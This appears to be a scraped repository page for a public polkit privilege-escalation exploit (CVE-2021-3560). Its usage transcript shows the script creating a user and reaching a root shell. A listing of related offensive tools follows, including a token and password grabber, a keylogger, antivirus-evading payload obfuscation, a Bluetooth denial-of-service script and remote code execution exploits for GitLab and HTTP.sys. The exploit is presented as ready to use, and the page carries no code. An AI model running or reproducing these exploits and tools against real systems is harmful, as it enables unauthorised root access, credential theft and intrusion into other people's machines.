Privilege escalation with polkit - CVE-2021-3560

Overview

Polkit-exploit - CVE-2021-3560

Privilege escalation with polkit - CVE-2021-3560

Summary

CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.

Exploit Code Author

Ahmad Almorabea @almorabea http://almorabea.net

Usage

[email protected]:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/test/Desktop# whoami
root
[email protected]:/home/test/Desktop#

Demo

GUI Authentication


Terminal Authentication


Credit

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

Owner
Ahmad Almorabea
Ahmad Almorabea
This is a js front-end encryption blasting account and password tools

Author:0xAXSDD By Gamma安全实验室 version:1.0 explain:这是一款用户绕过前端js加密进行密码爆破的工具,你无需在意js加密的细节,只需要输入你想要爆破url,以及username输入框的classname,password输入框的clas

75 Nov 25, 2022
Ensure secure infrastructure and consistency with the firewall rules

Python Port Scanner This script tries to check if it's possible to make a connection with the specific endpoint port. This is very useful to ensure se

Allan Avelar 7 Feb 26, 2022
POC using subprocess lib in Python 🐍

POC subprocess ☞ POC using the subprocess library with Python. References: https://github.com/GuillaumeFalourd/poc-subprocess https://geekflare.com/le

Guillaume Falourd 2 Nov 28, 2022
Huskee: Malware made in Python for Educational purposes

𝐇𝐔𝐒𝐊𝐄𝐄 Caracteristicas: Discord Token Grabber Wifi Passwords Grabber Googl

chew 4 Aug 17, 2022
A Python wrapper around the OpenSSL library

pyOpenSSL -- A Python wrapper around the OpenSSL library Note: The Python Cryptographic Authority strongly suggests the use of pyca/cryptography where

Python Cryptographic Authority 795 Dec 29, 2022
AMC- Automatic Media Access Control [MAC] Address Spoofing Tool

AMC (Automatic Media Access Control [MAC] Address Spoofing tool), helps you to protect your real network hardware identity. Each entered time interval your hardware address was changed automatically.

Dipen Chavan 14 Dec 23, 2022
Extendable payload obfuscation and delivery framework

NSGenCS What Is? An extremely simple, yet extensible framework to evade AV with obfuscated payloads under Windows. Installation Requirements Currently

123 Dec 19, 2022
POC for detecting the Log4Shell (Log4J RCE) vulnerability

Interactsh An OOB interaction gathering server and client library Features • Usage • Interactsh Client • Interactsh Server • Interactsh Integration •

ProjectDiscovery 2.1k Jan 08, 2023
Subdomain enumeration,Web scraping and finding usernames automation script written in python

Subdomain enumeration,Web scraping and finding usernames automation script written in python

Syam 12 Nov 22, 2022
Discord-keylogger - Discord keylogger With Python

Discord-keylogger Usage python dlogger.py -t [Time interval in sec] if not speci

Satwik Sinha 1 Jan 30, 2022
Simple script for looping a Denial Of Service (DoS) attack over one single mac address in range

Bluetooth Simple Denial Of Service (DoS) Legal Note This project is made only for educational purposes and for helping in Proofs of Concept. The autho

1 Jan 09, 2022
Fast python tool to test apache path traversal CVE-2021-41773 in a List of url

CVE-2021-41773 Fast python tool to test apache path traversal CVE-2021-41773 in a List of url Usage :- create a live urls file and use the flag "-l" p

Zahir Tariq 12 Nov 09, 2022
PoC for CVE-2020-6207 (Missing Authentication Check in SAP Solution Manager)

PoC for CVE-2020-6207 (Missing Authentication Check in SAP Solution Manager) This script allows to check and exploit missing authentication checks in

chipik 82 Nov 09, 2022
CVE-2021-22205& GitLab CE/EE RCE

Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files tha

Al1ex 213 Dec 30, 2022
Auerswald COMpact 8.0B Backdoors exploit

CVE-2021-40859 Auerswald COMpact 8.0B Backdoors exploit About Backdoors were discovered in Auerswald COMpact 5500R 7.8A and 8.0B devices, that allow a

Ashish Kunwar 1 Nov 24, 2022
Salesforce Recon and Exploitation Toolkit

Salesforce Recon and Exploitation Toolkit Salesforce Recon and Exploitation Toolkit Usage python3 main.py URL References Announcement Blog - https:/

81 Dec 23, 2022
Domain abuse scanner covering domainsquatting and phishing keywords.

🦷 monodon 🐋 Domain abuse scanner covering domainsquatting and phishing keywords. Setup Monodon is a Python 3.7+ programm. To setup on a Linux machin

2 Mar 15, 2022
Exploit for GitLab CVE-2021-22205 Unauthenticated Remote Code Execution

Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files tha

Hendrik Agung 2 Dec 30, 2021
Selamat Datang DiTools Crack-Old, Crack Old Adalah Sebuah Crack Tanpa Login Dan Crack Menggunakan Akun Facebook Tua/Old.

Selamat Datang DiTools Crack-Old, Crack Old Adalah Sebuah Crack Tanpa Login Dan Crack Menggunakan Akun Facebook Tua/Old. ([Welcome to Crack-Old Tools, Old Crack Is A Crack Without Login And Crack Usi

Risky [ Zero Tow ] 7 Dec 25, 2022
Proof of concept for CVE-2021-31166, a remote HTTP.sys use-after-free triggered remotely.

CVE-2021-31166: HTTP Protocol Stack Remote Code Execution Vulnerability This is a proof of concept for CVE-2021-31166 ("HTTP Protocol Stack Remote Cod

Axel Souchet 820 Dec 18, 2022